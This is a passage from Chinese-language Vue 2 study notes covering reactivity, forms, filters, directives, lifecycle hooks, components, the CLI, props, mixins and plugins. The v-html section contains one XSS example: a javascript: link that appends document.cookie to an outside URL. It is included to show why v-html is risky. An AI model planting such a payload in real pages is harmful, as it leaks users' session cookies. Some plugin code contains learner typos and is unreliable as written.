                    const arr =  this.persons.filter((p)=>{
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    if(this.sortType){
                        return arr.sort((p1,p2)=>{
                            return this.sortType === 1 ? p1.age -  p2.age : p2.age -  p1.age
                        })
                    }
                    return this.persons   
                }
            }, 
        })

        let arr = [1]
        
    </script>
</html>

        4.Vue检测数据——对象原理

Vue工具更新时问题,内存数据已经发生变化,但页面不变化Vue无法检测到,Vue不承认改变。

构造函数:Observer监视者

检测data的变化,请查阅06_数据代理

_data转数组,遍历数组通过definePropetry给Observer添加此数组元素,将为每个新添加响应式   reactiveSet 和 reactiveGet

当页面获取元素时,通过Observer 响应式 getter函数 赋值给data:vm._data -> obs -> data

响应后数据同步 vm._data === data ;经过此设计,修改data则触发obs.set方法修改vm._data

        5.Vue检测数据——后续添加响应式

构造参数已经生成影影视,后添加的属性无响应式的

针对对象属性

(一) 通过Vue

(二)通过vm 

(三)通过Observer修改

tagert不允许是 vm 和 vm._data 直接添加属性一级对象

只能添加二级对象 vm.xxx 和 vm._data.yyy

         6.Vue检测数据——数组类型

数组:不能通过Setter 和 Getter响应式检测(无响应式)

但通过影响源数组的函数(push pop shift unshift splice sort reverse)Vue会响应式

或使用

没有被Vue管理的arr

被Vue管理的arr(重载原型方法 1.调用原型 2.重写解析模板)

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <!-- 
        Vue监视数据的原理:
            1.vue监视data中所有层次数据

            2.如何检测对象中的数据?
                通过setter实现检测,new Vue时生成响应式

            3.如何检测数组的数据?
                通过包裹数组更新元素的方法实现,做了两件事
                (1).调用原生对应方法对数组更新
                (2).重新解析模板,进而更新页面
     -->

    <div id="root">
       <button @click="age++">年龄+1</button>

       <button @click="addSex">添加性别属性:默认:男</button>
       <button @click="updateSex">修改性别属性:默认:女</button>

       <button @click="addFriend">列表首位添加一个朋友</button>
       <button @click="friends[0].name='张三'">修改首位添加一个朋友名名字为:张三</button>

       <button @click="addHobby">添加一个爱好</button>
       <button @click="updateHobby">修改首个爱好:开车</button>

        <h3>姓名</h3>
        {{name}}

        <h3>年龄</h3>
        {{age}}

        <h3 v-if="student.sex">性别</h3>
        {{student.sex}}

        <h3>爱好</h3>
        <ul><li v-for="(item, index) in hobby" :key="index">
           {{item}}
        </li></ul>

        <h3>朋友</h3>
        <ul><li v-for="(item, index) in friends" :key="index">
           {{item.name}} - {{item.age}}
        </li></ul>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                student:{
                   
                },
                name:'tom',
                age:'18',
                hobby:['抽烟','喝酒','烫头'],
                friends:[
                    {name:'jerry',age:35},
                    {name:'tony',age:55}
                ]
            },
            methods: {
                addSex(){
                    vm.$set(this.student,'sex','男')
                },
                updateSex(){
                    this.$set(this.student,'sex','女')
                },
                addFriend(){
                    this.friends.unshift({name:'mark',age:95})
                },
                updateFriend(){},
                addHobby(){
                    this.hobby.unshift('溜冰')
                },
                updateHobby(){
                    this.hobby.splice(0,1,'开车')
                }
            },
        })
        
    </script>
</html>


 13_收集form表单数据

v-submit

// 转Json,不建议访问_data,建议使用一级属性包装

<input type="number" v-model.number="age">

v-model.number 输入类型首次转number类型

v-model.lazy 失去焦点时收集输入内容

v-model.trim 收集输入内容时去除前后空格

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        <form @submit.prevent="demo">
            账号:<input type="text" v-model.trim="account"> <p></p>
            密码:<input type="password" v-model.number="password"> <p></p>
            
            年龄:<input type="number" v-model.number="age">

            性别:
            男<input type="radio" name="sex" value="male" v-model="sex">
            女<input type="radio" name="sex" value="female" v-model="sex"><p></p>

            爱好:
            学习<input v-model="hobby" type="checkbox" value="study"> 
            游戏<input v-model="hobby" type="checkbox" value="game"> 
            美食<input v-model="hobby" type="checkbox" value="eat"> <p></p>

            所属地:
            <select v-model="city">
                <option value="">-----请选择地址------</option>
                <option value="">中国</option>
                <option value="">美国</option>
                <option value="">日本</option>
            </select><p></p>

            补充:
            <textarea cols="30" rows="10" v-model.lazy="other"></textarea><p></p>

            <input type="checkbox" v-model="isTure">我已阅读<a href="">详情协议</a><p></p>
            <!-- 点击按钮会触发事件 -->
            <button>提交</button>
        </form>
    </div>

</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                account:'',
                password:'',
                sex:'',
                hobby:[],
                city:'',
                other:'',
                isTure:'',
            },methods: {
                demo(){
                    alert("兔年2023牛逼")
                    // 转Json,不建议访问_data,建议使用一级属性包装
                    alert(JSON.stringify(this._data))
                }
            },
        })
        
    </script>
</html>


  14_过滤器filters

BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务

dayjs (v1.11.7) - Day.js 是一个轻量的处理时间和日期的 JavaScript 库,和 Moment.js 的 API 设计保持完全一样. 如果您曾经用过 Moment.js, 那么您已经知道如何使用 Day.js | BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务

用于格式化时间戳:离线下载js包

 <!-- 引入dayjs -->
<script type="text/javascript" src="../js/dayjs.min.js"></script>
filters

适合串联处理,可以传递指定返回值作为参数连续传递

局部过滤器

全局过滤器

管道符 | :默认传递第一个参数不需要管道后声明,其他参数需要声明

支持{{}}插值表达式

支持v-bind修改标签属性

         1.过滤器的串联 (局部过滤器)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
    <style>
      
    </style>
</head>
<body>
    <div id="root">
        时间戳:{{timeStamp}}

        <!-- 计算属性实现  -->
        <h2>计算属性实现格式化后时间:{{timeFormat}}</h2>
        <!-- method实现 -->
        <h2 >method实现格式化后时间:{{timeFmt()}}</h2>

        <!-- 过滤器实现 -->
        <h2 >过滤器实现格式化后时间:{{timeStamp | timeFormater()}}</h2>
        <!-- 传递参数 -->
        <h2 >过滤器实现格式化后时间:{{timeStamp | timeFormater('YYYY_MM_DD') | mySlice}}</h2>

       
    </div>

    <div id="root2">
        <!-- 使用全局过滤器 -->
        <h2 >过滤器实现格式化后时间:{{showStr | GlobalSlice}}</h2>
    </div>


    <div id="root3">
        <!-- v-bind使用全局过滤器 -->
        <h2 :x="xStr | GlobalSlice">这里的被绑定属性 并使用了过滤器</h2>
    </div>
</body>

    <script type="text/javascript">

        let timeNow = Date.now()

        // 注册全局过滤器: 著能一个一个注册,适合组件复用,可以服务不同的容器
        Vue.filter('GlobalSlice', function (value) {
            return value.slice(3,14)
        })


        const vm = new Vue({
            el:'#root',
            data:{
                timeStamp:timeNow,
            },
            methods: {
                timeFmt(){
                    return dayjs(this.timeStamp).format('YYYY-MM-DD HH:mm:ss')
              }
            },
            computed: {
                timeFormat(){
                    return dayjs(this.timeStamp).format('YYYY-MM-DD HH:mm:ss')
                }
            },
            filters:{
                // ES6 默认参数
                timeFormater(value,str='YYYY年MM月DD日'){
                    return dayjs(value).format(str)
                },
                mySlice(value){
                    return value.slice(0,7)
                }
            }
        })


        new Vue({
            el:'#root2',
            data:{
                showStr:'...helloWorld!!!'
            }
        })

        new Vue({
            el:'#root3',
            data:{
                xStr:'...helloWorld!!!'
            }
        })
    </script>
</html>


15_内置指令

v-text将vm._data.xxx 作为【字符串】直接替换【节点内容】,且不渲染html标签
v-html

将vm._data.xxx 作为【字符串/HTML结构】替换【节点内容】

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <style>
      
    </style>
</head>
<body>
    <div id="root">
       <div v-html="str"></div>
    </div>
</body>

    <script type="text/javascript">
        const vm = new Vue({
            el:'#root',
            data:{
                // 携带当前页面cookie并跳转
                str:'<a href=javascript:location.href="www.baidu.com?"+document.cookie>兄弟点我</a>'
            },          
        })
      
    </script>
</html>

冒充用户之手:虚拟身份Cookies访问浏览器(存在硬盘)

XSS攻击:携带Cookies跳转(部分服务器健全JS脚本无法获取,参数需要Http协议)

v-cloak

 页面闪现:JS引入的时间存在网络抖动阻塞页面渲染,导致一瞬间被解析。适合网速慢时未经解析的模板不展现。

<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    

    <!-- 样式属性选择器:临时隐藏结构,等待Vue实例接管容器时删除v-clock属性 -->
    <style>
      [v-cloak]{
        display: none;
    }
    </style>
</head>
<body>
    <div id="root">
       <div v-cloak></div>
    </div>

    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</body>
v-once

将vm._data.xxx 页面初始化时替换【模板的插值表达式】一次动态渲染后

静态渲染:此模板标签首次后将不依赖data随后的变化

注意:【v-once指令】 与 【v-on.once事件修饰符】不同

v-pre

加速模板:跳过此节点的编译过程,适用于模板中未使用【插值语法】和【指令语法】

16_自定义指令

自定义指令

拦截功能:在部分执行时机调用对象函数

触发时机函数:

        1、指令与元素绑定时,模板初次渲染

        2、模板其他数值发生变化触发渲染,diff比对

注意:

        1.指令与元素绑定时,模板还没有放入页面

        2.指令中回调函数中this是winedow

        3、对象风格函数,插入页面时触发

指令命名规则:多单词时kube-case命名风格,不能使用camelCase

全局自定义指令:和filters类似

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    
    <style>
      
    </style>

    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    

    <!-- 
        v-big: 和v-text功能类似,但将数值增加10倍
        v-fbind: 和v-bind功能类似,但input位置可以获取焦点,属性 autofocus可以 input.focus()
     -->
     <div id="root">
        <h2>当前num值是 <span v-text="num"></span></h2>
        <h2>放大10倍后num值是 <span v-big="num"></span></h2>
        <button @click="num++">点我num++</button><p></p>

        <input type="text" autofocus><p></p>

        <input type="text" v-fbind:value="num">

    </div>
</body>

    <script type="text/javascript">

        // 全局自定义,写法一 【对象式】
        Vue.directive('newBind1', {
                    // 指令与元素绑定时
                    bind(element,binding){
                        element.value = binding.value
                    },
                    // 指令插入页面时
                    inserted(element,binding){
                        element.focus()
                    },
                    // 指令被触发重新解析时
                    update(element,binding){
                        element.value = binding.value
                    }
        })
        // 全局自定义,写法二 【函数式】
        Vue.directive('newBind', function(element,binding){
                    element.innerText = binding.value * 10
                    console.dir(element)
                    console.dir(binding)
        })


        const vm = new Vue({
            el:'#root',
            data:{
                num:99
            },
            directives:{
                // 写法一 【对象式】: 适合细节,可以做拦截执行,额外执行inserted
                fbind:{
                    // 指令与元素绑定时
                    bind(element,binding){
                        element.value = binding.value
                    },
                    // 指令插入页面时
                    inserted(element,binding){
                        element.focus()
                    },
                    // 指令被触发重新解析时
                    update(element,binding){
                        element.value = binding.value
                    }
                },
                // 写法二 【函数式】: 简单,但无法做拦截操作。只执行 bind 和 update
                big(element,binding){
                    element.innerText = binding.value * 10
                    console.dir(element)
                    console.dir(binding)
                }
            }          
        })
      
    </script>
</html>


16_生命周期(生命周期钩子回调函数)

生命周期钩子 | Vue.js

生命周期选项 | Vue.js

自定义指令的触发时机回调函数this指向的是windows
生命周期中的回调函数this指向的是vm 或 组件实例

        0.引入代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    
    <style>
      
    </style>

    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    
    <!-- 绑定内敛样式:调节透明度 -->
    <div id="root">
        <h2  :style="{opacity: opacity}">欢迎来到2023兔年</h2>
    </div>
</body>

    <script type="text/javascript">

     

    new Vue({
            el:'#root',
            data:{
                opacity:1
            },
            //  Vue完成模板解析 -> 初始的真实DOM插入后面后(挂载完毕) -> 调用mounted
            mounted() {
                setInterval(() => {
                    this.opacity -= 0.01
                    if (this.opacity <= 0) {
                        this.opacity = 1
                    }
                }, 16);
            },
        })
      
   
      
    </script>
</html>

挂载流程

beforeCreate (未做数据代理)

        1.事件刚开始,不能访问到_data 和 methods

created (数据代理)

        1.getter 和 setter 以及 methods

(生成虚拟DOM到内存中)

        1.实例化时已指定vm是否指定为哪个容器模板服务(配置el);如果没有指定将不执行后续钩子,等待手动执行指定vm.$mount('root')后执行其他生命周期钩子

        2.如果配置template配置项,value使用``反引号的内容直接替换【服务的容器】,成为新的服务容器。(不允许有两个根节点,可以用一个容器节点封装)

        注意:【template配置项】与【<template>标签】不同

        3.服务的模板是 内部定义的模板 或 template配置项替换的模板

beforeMount (页面呈现:未经编译DOM结构)

        1.备份虚拟DOM:vm$el (用于更新流程:复用DOM)

        2.将虚拟DOM 转为 真实DOM 插入页面

        注意:此钩子操作的DOM,最终不奏效。因为会直接使用created生成的虚拟DOM替换

mounted(页面呈现:编译DOM结构)

        1.挂在完毕,进行初始化操作:开启定时器setnterval、发送网络请求、订阅消息、绑定自定义事件

更新流程

(数据改动时被动触发)

beforeUpdate:(页面呈现:旧数据)

        1.页面尚未同步新的数据,但数据已经变化

(【新虚拟DOM】与【旧虚拟DOM】比较)

        1.比较

        2.进行页面的更新,既:完成 MVVM: Model  -> View

upodated :(页面呈现:新数据)

        1.数据和页面保持同步

销毁流程

(可以主动触发)

vm.$destroy

        函数被调用 ,并清理它与其他实例(组件实例)的连接,解绑全部指令及事件监听器(自定义事件),但不解绑原生自定义DOM事件

beforeDestory(数据处于最后可用状态

        1.收尾操作,马上执行销毁,但对数据的所有操作都不会在执行【更新流程】。

        2.此时会关闭定时器clearInterval(this.timer)、取消订阅消息、绑定自定义事件 收尾操作,可用修改数据,但不会调用Update更新

移除所有watchs,component,evnet listner

destoryed (彻底销毁)

路由钩子(三个)

17_组件化

模块化(原生JS)组件化(VueJS)

耦合性:横向引用,纵向引用

多引用:引用关系复杂,三剑客分开过细

螺丝 螺母 螺丝刀

耦合性:依然存在,但作为一套避免了横向引用

片段化:CSS + HTML片段 + JS,封装为一套

一块砖

组件的定义:

        实现界面局部功能代码和资源的集合

组件必须被vm (Root)管理

命名规则:

        1.可以定义为大写 和 原生代码区分,避免和原生相似

        2.kube-case写法

        3.AxxxBxxx 写法(需要使用vue-cli脚手架)

        4.通过配置项name组件标签在Vue工具呈现的名字

自闭合标签;

        1.需要使用脚手架

组件嵌套

        1.注册给谁,在哪个模板里面调用组件标签

APP组件(管理)

        1.app组件管理其他全部组件

        1.非单文件组件(单文件包含n个组件:无插件提示):

函数式 data对象式 data
所有组件共享一个data对象每个组件独享新的data对象
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>内置指令</title>

    <style>

    </style>

    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>

    <div id="root">
        <!-- (三)编写组件标签 -->
    </div>

    <div id="root2">
        <!-- (三)编写组件标签 -->
        <room></room>
    </div>
</body>

<script type="text/javascript">

    // (一)创建组件:注意组件一定要先创建     
    const student = Vue.extend({
        template:
            `<div>
            <h1>{{studentName}}</h1>
            </div>`,
        data() {
            return {
                studentName: '兔子哥'
            }
        },
    })

    const school = Vue.extend({
        template:
            `<div>
            <student></student>
            <h1>{{schoolName}}</h1>
         </div>`,
        data() {
            return {
                schoolName: '清华大学'
            }
        },
        components: {
            student
        }
    })

    const App = Vue.extend({
        template:
            `<div>
            <school></school>
         </div>`,
        components: {
            school
        }
    })



    new Vue({
        template:`<div>
            <App></App>
         </div>`,
        el: '#root',
        // (二)注册组件:局部注册
        components: {
            // 简写:相同可以简写
            App: App,
        }
    })


    // (一)创建组件:简写形式 ,被VueJS源码帮助执行
    const room = {
        template:
            `<div>
            <h1>{{dogName}}</h1>
         </div>`,
        data() {
            return {
                dogName: '柴犬'
            }
        },
    }
    // (二)注册组件:全局注册
    Vue.component('room', room)



    new Vue({
        el: '#root2'
    })

</script>

</html>

        2.组件实例的构造函数VueComponent()

组件中this【vc】

VueComponent实例对象(底层是函数式的构造函数每次【组件独立】)

不能服务el容器

data必须函数式

newVue()中this【vm】

Vue实例对象

可以服务el容器

data写法可以

vm $children组件管理组件

        3.Vue与VueComponent内置关系(原型对象)

实例对象构造函数

隐式原型属性 === 显示原型属性 (是一块内存)

Vue构造函数(不存在) >  显示原型链(寻找)  >   原型对象  >  隐式原型链(寻找)> Object原型对象

vm实例 >  隐式原型链(寻找)>   原型对象 >  Object

VueComponent构造函数(不存在) >  显示原型链(寻找)  >   VueComponent原型对象  >  隐式原型链(寻找)> Vue原型对象

vc实例 >  隐式原型链(寻找)>   VueComponent原型对象 >  Vue

通过原型链:类似于【Java类的继承】,但实例可以添加参数给原型对象,复用部分函数和数据

原型数据:可以不带任何前缀,直接用关键字 $ _

         4.单文件组件(单文件包含单个组件):

ES6技术模块化【暴露expose】与【导入import】 技术
组件依赖
分别暴露导入
import Student from './Student.vue'
import {Student} from './Student.vue'

统一暴露
默认暴露

<template></template>

<script>

export default student
const student = Vue.extend({
        template:
            `<div>
            <h1>{{studentName}}</h1>
            </div>`,
        data() {
            return {
                studentName: '兔子哥'
            }
        },
    })

// 简写形式
export default {
        name:'School',
        template:
            `<div>
            <h1>{{studentName}}</h1>
            </div>`,
        data() {
            return {
                studentName: '兔子哥'
            }
        },
    }





</script>

<style>
.demo {
  background-color: orange;
}
</style>

<template></template>模板必须使用【根元素】

【模板标签<template></template>】 = 【模板配置项template:`<App></App>`】

 规范化需要:JS的入口 【main.js】,以下操作依赖脚手架


Vuc CLI 脚手架  

       1.分析Vuc CLI 脚手架 (conmmand line interface)

 Vue CLI

CLI安装:依赖【Node.js环境

设置国内npm淘宝镜像
npm config set registry=https://registry.npm.taobao.org
全局安装vue
npm install -g @vue/cli

angular cli - npm ERR! Invalid response body while trying to fetch http://registry.npmjs.org/accepts: Integrity verification failed for sha - Stack Overflow
javascript - npm WARN enoent ENOENT: no such file or directory, open 'C:\Users\Nuwanst\package.json' - Stack Overflow
Vue命令

指定创建项目的目录-会创建自带例子demo

vue create

运行此目录的服务

npm run serve

文件介绍:

 注意:

        1.VsCode每个修改一个文件都需要单独Ctrl+S保存,否则不生效。或设置自动保存

        2.关闭代码检测

【index.html】被服务的容器,被展示的页面

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器:以最高渲染级别渲染 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- JSP配置页签:引入路径 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- JSP配置网页的标题 -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <!-- 当浏览器不支持JS,noscript标签将会渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

【main.js】 项目npm运行的入口

/* 
  该文件是整个项目的入口文件
*/
// 1.引入Vue
import Vue from 'vue'
// 2.引入App组件
import App from './App.vue'
// 3.关闭vue的生产提示
Vue.config.productionTip = false

// 4.创建Vue实例(vm),指定服务的容器 和 使用reader函数将App组件编译
new Vue({
  render: h => h(App),
}).$mount('#app')

【App.vue】

<template>
    <!-- 3.定义顶级标签:编辑模板内容,使用【子组件】 -->
    <div>
        <Student name="张三" age="18" sex="女"/>
    </div>
</template>

<script>
// 1.导入 【子组件】
import Student from './components/Student.vue'

// 2.定义 【暴露的组件名称】,并注册 【子组件】
export default {
    name:'App',
    components:{
        Student
    }  
}
</script>

【assets】静态文件夹

【components】组件文件夹,不包含App.vue

【.gitignore】忽略Git Commit的文件

【babel.config.js】babel转换标准

【package-lock】npm配置项的锁定值

【package】npm项目包的说明书(webpack命令 = maven指令)

【README.md】Git展示文件

【vue.config.js】记得编写时关闭于法检测

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  lintOnSave:false
})

        2.运行时版本Vue的render函数

CLI编译后使用版本

完整版vue.js

由于未使用完整版vue.js,使用的是vue.runtim.xxx.js精简版,节省解析器1/3内存,所以无法直接使用template配置项,需要使用脚手架render函数

【render函数】:帮助渲染template配置项,将import导入式模块化 .vue 编译为浏览器解析的 .js 

         3.修改Cli默认配置

打印默认配置

选择合适的目录,管理员身份运行

vue inspect > output.js

修改vue.config.js
语法检查

lint

 Configuration Reference | Vue CLI

注意:默认开启代码检查lintOnSave,如:变量没有使用

        4.ref属性获取DOM

原生 id 属性Vue ref属性
HTML标签 
document.getElementById('xxx')
console.log(this.$refs.title);

组件标签获取模板中DOM结构获取组件实例对象VC
<template>

    <!-- 
        ref属性;
            1.被用来给【元素】或 【子组件】注册应用信息(原生id属性的替代品)
            2.html标签获取真实DOM元素,组件标签上获取组件实例对象(vc)
     -->
  <div>
    <!-- 
        1.打标识
     -->

    <School ref="sch" id="sch"/>
    <h1 v-text="msg" ref="title" ></h1>

    <button @click="showDOM" >点我输出上方DOM元素</button>
  </div>
</template>

<script>
import School from './components/School.vue'
export default {
    name:'App',
    data() {
        return {
            msg:'我爱学习'
        }
    },
    methods: {
        showDOM(){
            console.log(this.$refs.title);

            console.log(this.$refs.sch);
            console.log(document.getElementById('sch'));
        }
    },
    components:{
        School
    }
}
</script>

        5.配置项props:data的 传参 和 入参

 引用组件时传参

 <div>
        <Student name="张三" age="18" sex="女"/>
</div>

注意:传参后对Number类型做四则运算,需要限制

简单接收(需要间接解决)限制传参(直接解决)
export default {
      name:'Student',
      data() {
          console.log(this);
          return {
              msg:'我是一个好人',
              
          }
      },
      props:['name','age','sex'],
     
  }

简写

      props:{
        name:String,
        age:Number,
        sex:Number
      }

1.入参时,使用*法,不要先使用+法会当作字符串拼接

<template>
    <div class="school">
      <h1>{{msg}}</h1>
      <h1>学生姓名: {{name}} </h1>  
      <h1>学生性别: {{sex}}</h1>

      <h1>学生年龄: {{age*1+20}}</h1>
    </div>
</template>

2.传参时,使用v-bind按照表达式处理的返回结果

<template>
    <div>
        <Student name="张三" age="18" :sex="女"/>
    </div>
</template>

完全

props:{
        
        // 类型限制
        // 必要性限制
        // 默认值
       

        name:{
            type:String,       
            required:true
        },
        sex:{
            type:String,
            required:true
        },
        age:{
            type:Number,
            default:99 
      }
}

 // 类型限制


        // 必要性限制
        // 默认值

通过时间修改props中prop内容,Vue不推荐直接操作 

间接操作prop内容

<template>
    <div class="school">
      <h1>{{msg}}</h1>
      <h1>学生姓名: {{eventName}} </h1>  

      <h1>学生性别: {{sex}}</h1>
      <h1>学生年龄: {{age}}</h1>

      <button @click="changeName">点我名字变为:王五</button>
    </div>
</template>
  
  <script>


  export default {
      name:'Student',
      data() {
          console.log(this);
          return {
              msg:'我是一个好人',
              eventName:this.name
          }
      },
      methods: {
        changeName(){
            this.eventName = '王五'
        }
      },
      props:{
        name:{
            type:String,
            required:true
        },
        sex:{
            type:String,
            required:true
        },
        age:{
            type:Number,
            default:99 //默认值
        }
      }
     
  }
  </script>

        6.配置项mixins:混合

多个组件VC中的所有相同的配置项 和 生命周期钩子,抽出为【mixin.js】文件

1. 与其他配置项混合使用,若已存在相同名称,则不混合,不会造成冲突

2. 若存在相同【生命周期钩子函数】,则将其代码合并,全部执行(混合先执行)

 【mixin.js】设计混合的内容

// 定义混合的配置项,并分别暴露
export const mixinObj = {
    methods: {
        showName(){
          alert(this.name)
        }
      }
}

局部混合

可以指定单个组件vc混入其内容

 注意:模板应用混合的配置项,名称要保持相同

全局混合

【main.js】中引入分别暴露,vm和所有vc的组件都会混合到其内容

import Vue from 'vue'
import App from './App.vue'

// 1.引用混合
import { mixinObj,mixinObj2 } from "./maxin";

Vue.config.productionTip='false'

// 2.注册给Vue
Vue.mixin(mixinObj)
Vue.mixin(mixinObj2)

new Vue({
    el:'#app',
    render:h=>h(App)
})

 7.插件plugins

定义插件:必须定义install方法,可以获取Vue缔造者,设计全局配置项 和 方法

export default {
    // 定义插件:获取Vue缔造者,并且可以获取参数
    install(Vue,arg1...){
        // 定义:全局过滤器
        Vue.filters('mySlice',function(value){
            return value.slice(0,4)
        })

        // 定义:全局指令
        Vue.directives('fbind'{
            bind(element,binding){
                element.value = binding.value
            },
            inserted(element,binding){
                element.focus
            },
            update(element,binding){
                element.value = binding.value
            }
        })
        
        // 定义:全局混入
        Vue.mixins({
            data() {
                return {
                    x:66,
                    y:77
                }
            },
        })

        // 定义:Vue原型上添加一个方法(vm和vc都能用)
        Vue.prototype.demo = ()=>{alert('你好弹窗')}
    }
}

使用插件: 在需要使用的组件引入,直接调用即可

// 引入插件
import plugins from './plugins'


// 应用插件
Vue.use(plugins)
Vue.use(plugins1)
Vue.use(plugins2)

        8. style标签属性scoped

1.App中的样式将会覆盖所有的子组件

2.【后引入组件】的样式将会覆盖【先引入组件】

3.webpage Vue5.0支持 less写法 styleLang,默认css

4.npm view webpack/less-loader viersion 查询最新的所有版本

5.npm i less-loader@7 指定版本

6. 安装style插件

7.less写法嵌套样式



“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值